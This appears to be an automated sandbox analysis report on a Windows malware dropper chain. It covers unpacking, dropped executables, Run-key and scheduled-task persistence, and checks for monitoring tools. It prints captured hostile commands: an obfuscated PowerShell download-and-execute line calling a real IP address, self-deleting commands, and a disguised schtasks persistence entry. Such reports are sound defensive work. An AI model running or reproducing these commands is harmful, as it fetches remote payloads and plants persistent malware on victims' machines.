Source:	Binary string: #.dll.pdb source: 8cb1e32b25.exe, 00000029.00000000.2305635682.0000000000C62000.00000002.00000001.01000000.00000010.sdmp, powershell.exe, 0000002A.00000002.2359938915.000001D3AF002000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.2391956465.000001D3C6EA0000.00000004.08000000.00040000.00000000.sdmp, powershell.exe, 00000033.00000002.2466870741.0000028B8229F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdb source: powershell.exe, 0000002A.00000002.2390904749.000001D3C6E20000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000033.00000002.2615680036.0000028B99FA3000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 0000002A.00000002.2392378573.000001D3C700A000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000033.00000002.2624749773.0000028B9A179000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdbcorlib.pdbpdblib.pdbC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\mscorlib.pdb source: 8cb1e32b25.exe, 00000029.00000002.2423323543.000000001BA96000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\System.Core.pdb) source: powershell.exe, 00000033.00000002.2624749773.0000028B9A129000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\dll\mscorlib.pdbn source: 8cb1e32b25.exe, 00000029.00000002.2417823905.00000000011CC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Windows\System.Core.pdbpdbore.pdb source: powershell.exe, 00000033.00000002.2624749773.0000028B9A129000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdb source: powershell.exe, 00000033.00000002.2624749773.0000028B9A129000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: 0C:\Windows\mscorlib.pdb source: 8cb1e32b25.exe, 00000029.00000002.2423323543.000000001BA96000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdbt.Automation.pdb] source: powershell.exe, 0000002A.00000002.2392378573.000001D3C700A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Core.pdbpdb% source: powershell.exe, 0000002A.00000002.2358852815.000001D3ACE15000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: n.pdbA source: powershell.exe, 00000033.00000002.2624749773.0000028B9A0F2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Management.Automation.pdb source: powershell.exe, 0000002A.00000002.2390904749.000001D3C6E0C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: sers\user\AppData\Local\Temp\1016174001\8cb1e32b25.PDB source: 8cb1e32b25.exe, 00000029.00000002.2417823905.00000000011CC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: mscorlib.pdb source: 8cb1e32b25.exe, 00000029.00000002.2417823905.00000000011CC000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\symbols\dll\mscorlib.pdb source: 8cb1e32b25.exe, 00000029.00000002.2417823905.000000000122E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Management.Automation.pdbpdb+ source: powershell.exe, 0000002A.00000002.2390904749.000001D3C6E20000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\System.Core.pdb source: powershell.exe, 00000033.00000002.2624749773.0000028B9A129000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdbID\{0A29FF9E-7F9C-4437-8B11-F424491E3931}\InprocServer32 source: powershell.exe, 00000033.00000002.2624749773.0000028B9A129000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\mscorlib.pdb source: 8cb1e32b25.exe, 00000029.00000002.2417823905.000000000122E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdb source: powershell.exe, 0000002A.00000002.2392378573.000001D3C700A000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.2390904749.000001D3C6E0C000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000033.00000002.2624749773.0000028B9A0F2000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000033.00000002.2624749773.0000028B9A179000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdbl source: powershell.exe, 00000033.00000002.2624749773.0000028B9A129000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb) source: powershell.exe, 00000033.00000002.2624749773.0000028B9A179000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: orlib.pdb source: 8cb1e32b25.exe, 00000029.00000002.2417823905.000000000122E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Windows\Microsoft.Net\assembly\GAC_MSIL\System.Core\v4.0_4.0.0.0__b77a5c561934e089\System.Core.pdbe source: powershell.exe, 0000002A.00000002.2392378573.000001D3C700A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: symbols\dll\mscorlib.pdbpdb source: 8cb1e32b25.exe, 00000029.00000002.2423323543.000000001BA96000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: indoC:\Windows\mscorlib.pdb source: 8cb1e32b25.exe, 00000029.00000002.2423323543.000000001BA96000.00000004.00000010.00020000.00000000.sdmp
Source:	Binary string: \SharpHide-master\SharpHide\obj\Debug\SharpHide.pdb source: powershell.exe, 0000002A.00000002.2359938915.000001D3AF110000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 0000002A.00000002.2359938915.000001D3AF002000.00000004.00000800.00020000.00000000.sdmp, RegSvcs.exe, 00000031.00000002.2356291296.0000000000402000.00000040.00000400.00020000.00000000.sdmp
Source:	Binary string: System.Core.pdbk source: powershell.exe, 0000002A.00000002.2390904749.000001D3C6E0C000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000033.00000002.2624749773.0000028B9A0F2000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\Z:\syscalls\amsi_trace64.amsi.csv.pdb5r(m2 source: powershell.exe, 0000002A.00000002.2392378573.000001D3C700A000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.d20000.0.unpack :EW;.rsrc:W;.idata :W;diabzkav:EW;eighdbaz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;diabzkav:EW;eighdbaz:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 2.2.skotes.exe.ec0000.0.unpack :EW;.rsrc:W;.idata :W;diabzkav:EW;eighdbaz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;diabzkav:EW;eighdbaz:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 3.2.skotes.exe.ec0000.0.unpack :EW;.rsrc:W;.idata :W;diabzkav:EW;eighdbaz:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;diabzkav:EW;eighdbaz:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe	Unpacked PE file: 50.2.93121e2127.exe.f20000.0.unpack :EW;.rsrc:W;.idata :W; :EW;oxelpjbe:EW;rxotcwhb:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;oxelpjbe:EW;rxotcwhb:EW;.taggant:EW;

.NET source code contains potential unpacker

Source: random[2].exe.5.dr, cc32ca733284270d3b4df2fe8ab07b58f.cs	.Net Code: cb893a2160a53e17b5b01b351d1e52b7e System.Reflection.Assembly.Load(byte[])
Source: random[2].exe.5.dr, cc32ca733284270d3b4df2fe8ab07b58f.cs	.Net Code: cb893a2160a53e17b5b01b351d1e52b7e System.Reflection.Assembly.Load(byte[])
Source: 8cb1e32b25.exe.5.dr, cc32ca733284270d3b4df2fe8ab07b58f.cs	.Net Code: cb893a2160a53e17b5b01b351d1e52b7e System.Reflection.Assembly.Load(byte[])
Source: 8cb1e32b25.exe.5.dr, cc32ca733284270d3b4df2fe8ab07b58f.cs	.Net Code: cb893a2160a53e17b5b01b351d1e52b7e System.Reflection.Assembly.Load(byte[])

Suspicious powershell command line found

Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del in.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Local\Temp\1016174001\8cb1e32b25.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -Command " $L='(New-Object Net.We'; $Y='bClient).Downlo'; $V='adString(''http://185.11.61.104/Z.png'')'; $F=I`E`X ($L,$Y,$V -Join '')\|I`E`X"
Source: C:\Users\user\AppData\Local\Temp\1016174001\8cb1e32b25.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -Command " $L='(New-Object Net.We'; $Y='bClient).Downlo'; $V='adString(''http://185.11.61.104/A.png'')'; $F=I`E`X ($L,$Y,$V -Join '')\|I`E`X"
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.0.0.1; del in.exe
Source: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell ping 127.1.10.1; del Intel_PTT_EK_Recertification.exe
Source: C:\Users\user\AppData\Local\Temp\1016174001\8cb1e32b25.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -Command " $L='(New-Object Net.We'; $Y='bClient).Downlo'; $V='adString(''http://185.11.61.104/Z.png'')'; $F=I`E`X ($L,$Y,$V -Join '')\|I`E`X"
Source: C:\Users\user\AppData\Local\Temp\1016174001\8cb1e32b25.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "powershell.exe" -Command " $L='(New-Object Net.We'; $Y='bClient).Downlo'; $V='adString(''http://185.11.61.104/A.png'')'; $F=I`E`X ($L,$Y,$V -Join '')\|I`E`X"

Source: C:\Users\user\AppData\Local\Temp\main\7z.exe

Code function: 14_2_00C466A8 GetCurrentProcess,GetProcessTimes,memset,GetModuleHandleW,GetProcAddress,LoadLibraryW,GetProcAddress,GetCurrentProcess,GetProcAddress,GetCurrentProcess,fputs,fputs,

14_2_00C466A8

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: f43f43fc7e.exe.5.dr	Static PE information: real checksum: 0x1c67a1 should be: 0x1be774
Source: random[2].exe0.5.dr	Static PE information: real checksum: 0x1c0cdb should be: 0x1c66f2
Source: Intel_PTT_EK_Recertification.exe.25.dr	Static PE information: real checksum: 0x0 should be: 0x1c320c
Source: 93121e2127.exe.5.dr	Static PE information: real checksum: 0x1c0cdb should be: 0x1c66f2
Source: 1d6483dfc2.exe.5.dr	Static PE information: real checksum: 0x2b7e27 should be: 0x2bafdd
Source: 7z.exe.10.dr	Static PE information: real checksum: 0x0 should be: 0x7b29e
Source: 8cb1e32b25.exe.5.dr	Static PE information: real checksum: 0x0 should be: 0xe493
Source: 7z.dll.10.dr	Static PE information: real checksum: 0x0 should be: 0x1a2c6b
Source: random[2].exe1.5.dr	Static PE information: real checksum: 0x1c67a1 should be: 0x1be774
Source: file.exe	Static PE information: real checksum: 0x2e94ab should be: 0x2e559c
Source: random[3].exe.5.dr	Static PE information: real checksum: 0x2b7e27 should be: 0x2bafdd
Source: skotes.exe.0.dr	Static PE information: real checksum: 0x2e94ab should be: 0x2e559c
Source: random[1].exe0.5.dr	Static PE information: real checksum: 0x44cff3 should be: 0x44cb1b
Source: in.exe.23.dr	Static PE information: real checksum: 0x0 should be: 0x1c320c
Source: random[2].exe.5.dr	Static PE information: real checksum: 0x0 should be: 0xe493
Source: 5b6b36c534.exe.5.dr	Static PE information: real checksum: 0x44cff3 should be: 0x44cb1b

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name: diabzkav
Source: file.exe	Static PE information: section name: eighdbaz
Source: file.exe	Static PE information: section name: .taggant
Source: skotes.exe.0.dr	Static PE information: section name:
Source: skotes.exe.0.dr	Static PE information: section name: .idata
Source: skotes.exe.0.dr	Static PE information: section name: diabzkav
Source: skotes.exe.0.dr	Static PE information: section name: eighdbaz
Source: skotes.exe.0.dr	Static PE information: section name: .taggant
Source: 5b6b36c534.exe.5.dr	Static PE information: section name:
Source: 5b6b36c534.exe.5.dr	Static PE information: section name: .idata
Source: 5b6b36c534.exe.5.dr	Static PE information: section name:
Source: 5b6b36c534.exe.5.dr	Static PE information: section name: olqvxqrc
Source: 5b6b36c534.exe.5.dr	Static PE information: section name: oeptsfen
Source: 5b6b36c534.exe.5.dr	Static PE information: section name: .taggant
Source: random[1].exe0.5.dr	Static PE information: section name:
Source: random[1].exe0.5.dr	Static PE information: section name: .idata
Source: random[1].exe0.5.dr	Static PE information: section name:
Source: random[1].exe0.5.dr	Static PE information: section name: olqvxqrc
Source: random[1].exe0.5.dr	Static PE information: section name: oeptsfen
Source: random[1].exe0.5.dr	Static PE information: section name: .taggant
Source: random[2].exe0.5.dr	Static PE information: section name:
Source: random[2].exe0.5.dr	Static PE information: section name: .idata
Source: random[2].exe0.5.dr	Static PE information: section name:
Source: random[2].exe0.5.dr	Static PE information: section name: oxelpjbe
Source: random[2].exe0.5.dr	Static PE information: section name: rxotcwhb
Source: random[2].exe0.5.dr	Static PE information: section name: .taggant
Source: 93121e2127.exe.5.dr	Static PE information: section name:
Source: 93121e2127.exe.5.dr	Static PE information: section name: .idata
Source: 93121e2127.exe.5.dr	Static PE information: section name:
Source: 93121e2127.exe.5.dr	Static PE information: section name: oxelpjbe
Source: 93121e2127.exe.5.dr	Static PE information: section name: rxotcwhb
Source: 93121e2127.exe.5.dr	Static PE information: section name: .taggant
Source: random[2].exe1.5.dr	Static PE information: section name:
Source: random[2].exe1.5.dr	Static PE information: section name: .idata
Source: random[2].exe1.5.dr	Static PE information: section name:
Source: random[2].exe1.5.dr	Static PE information: section name: kbusnrxz
Source: random[2].exe1.5.dr	Static PE information: section name: yvqiegwt
Source: random[2].exe1.5.dr	Static PE information: section name: .taggant
Source: f43f43fc7e.exe.5.dr	Static PE information: section name:
Source: f43f43fc7e.exe.5.dr	Static PE information: section name: .idata
Source: f43f43fc7e.exe.5.dr	Static PE information: section name:
Source: f43f43fc7e.exe.5.dr	Static PE information: section name: kbusnrxz
Source: f43f43fc7e.exe.5.dr	Static PE information: section name: yvqiegwt
Source: f43f43fc7e.exe.5.dr	Static PE information: section name: .taggant
Source: random[3].exe.5.dr	Static PE information: section name:
Source: random[3].exe.5.dr	Static PE information: section name: .idata
Source: random[3].exe.5.dr	Static PE information: section name: zhbmyutw
Source: random[3].exe.5.dr	Static PE information: section name: tkykhzdh
Source: random[3].exe.5.dr	Static PE information: section name: .taggant
Source: 1d6483dfc2.exe.5.dr	Static PE information: section name:
Source: 1d6483dfc2.exe.5.dr	Static PE information: section name: .idata
Source: 1d6483dfc2.exe.5.dr	Static PE information: section name: zhbmyutw
Source: 1d6483dfc2.exe.5.dr	Static PE information: section name: tkykhzdh
Source: 1d6483dfc2.exe.5.dr	Static PE information: section name: .taggant
Source: in.exe.23.dr	Static PE information: section name: UPX2
Source: Intel_PTT_EK_Recertification.exe.25.dr	Static PE information: section name: UPX2

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D3D91C push ecx; ret	0_2_00D3D92F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00D31359 push es; ret	0_2_00D3135A
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 2_2_00EDD91C push ecx; ret	2_2_00EDD92F
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Code function: 3_2_00EDD91C push ecx; ret	3_2_00EDD92F
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Code function: 14_2_00C2676A push rcx; ret	14_2_00C2676B
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 20_2_002C306E push ecx; ret	20_2_002C3081
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_002C306E push ecx; ret	40_2_002C3081
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_00446061 push edx; retf	40_2_00446062
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_0043CA60 push eax; mov dword ptr [esp], 11102FFEh	40_2_0043CA63
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_00445A2E push esi; ret	40_2_00445A31
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_00442543 push esp; retf	40_2_00442549
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_00446EA4 push edi; iretd	40_2_00446EA5
Source: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Code function: 40_2_00439F70 push eax; mov dword ptr [esp], 60616263h	40_2_00439F7F

Source: file.exe	Static PE information: section name: entropy: 7.986948480140589
Source: skotes.exe.0.dr	Static PE information: section name: entropy: 7.986948480140589
Source: 5b6b36c534.exe.5.dr	Static PE information: section name: olqvxqrc entropy: 7.955510105288054
Source: random[1].exe0.5.dr	Static PE information: section name: olqvxqrc entropy: 7.955510105288054
Source: random[2].exe0.5.dr	Static PE information: section name: entropy: 7.983477399534379
Source: random[2].exe0.5.dr	Static PE information: section name: oxelpjbe entropy: 7.9533529811209425
Source: 93121e2127.exe.5.dr	Static PE information: section name: entropy: 7.983477399534379
Source: 93121e2127.exe.5.dr	Static PE information: section name: oxelpjbe entropy: 7.9533529811209425
Source: random[2].exe1.5.dr	Static PE information: section name: kbusnrxz entropy: 7.9545496097424495
Source: f43f43fc7e.exe.5.dr	Static PE information: section name: kbusnrxz entropy: 7.9545496097424495
Source: random[3].exe.5.dr	Static PE information: section name: entropy: 7.777592768894132
Source: 1d6483dfc2.exe.5.dr	Static PE information: section name: entropy: 7.777592768894132

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1
Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Persistence and Installation Behavior

Uses cmd line tools excessively to alter registry or file data

Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: attrib.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: attrib.exe
Source: C:\Windows\System32\cmd.exe	Process created: attrib.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: attrib.exe
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Process created: attrib.exe

Uses ipconfig to lookup or modify the Windows network settings

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process created: C:\Windows\System32\ipconfig.exe "C:\Windows\system32\ipconfig.exe" /flushdns

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016177001\d85d1975e9.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	File created: C:\Users\user\AppData\Local\Temp\main\extracted\in.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016172001\06c6a4fd29.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	File created: C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016174001\8cb1e32b25.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016176001\f43f43fc7e.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1016172001\06c6a4fd29.exe	File created: C:\Users\user\AppData\Local\Temp\main\7z.dll	Jump to dropped file
Source: C:\Users\user\Desktop\file.exe	File created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016178001\1d6483dfc2.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Temp\1016173001\47760e826c.exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\58P5KO4N\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\NCK9WNDU\random[2].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\Q4M8ZOMH\random[1].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\D81IGXZV\random[3].exe	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\1016172001\06c6a4fd29.exe	File created: C:\Users\user\AppData\Local\Temp\main\7z.exe	Jump to dropped file

Boot Survival

Creates multiple autostart registry keys

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run f43f43fc7e.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 93121e2127.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run d85d1975e9.exe	Jump to behavior

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016171001\5b6b36c534.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe	Window searched: window name: RegmonClass
Source: C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe	Window searched: window name: FilemonClass
Source: C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe	Window searched: window name: PROCMON_WINDOW_CLASS
Source: C:\Users\user\AppData\Local\Temp\1016175001\93121e2127.exe	Window searched: window name: Regmonclass

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\AppData\Local\Temp\main\in.exe

Process created: C:\Windows\System32\schtasks.exe schtasks /f /CREATE /TN "Intel_PTT_EK_Recertification" /TR "C:\Users\user\AppData\Roaming\Intel_PTT_EK_Recertification.exe" /SC MINUTE

Source: C:\Users\user\Desktop\file.exe

File created: C:\Windows\Tasks\skotes.job

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 93121e2127.exe	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run 93121e2127.exe	Jump to behavior
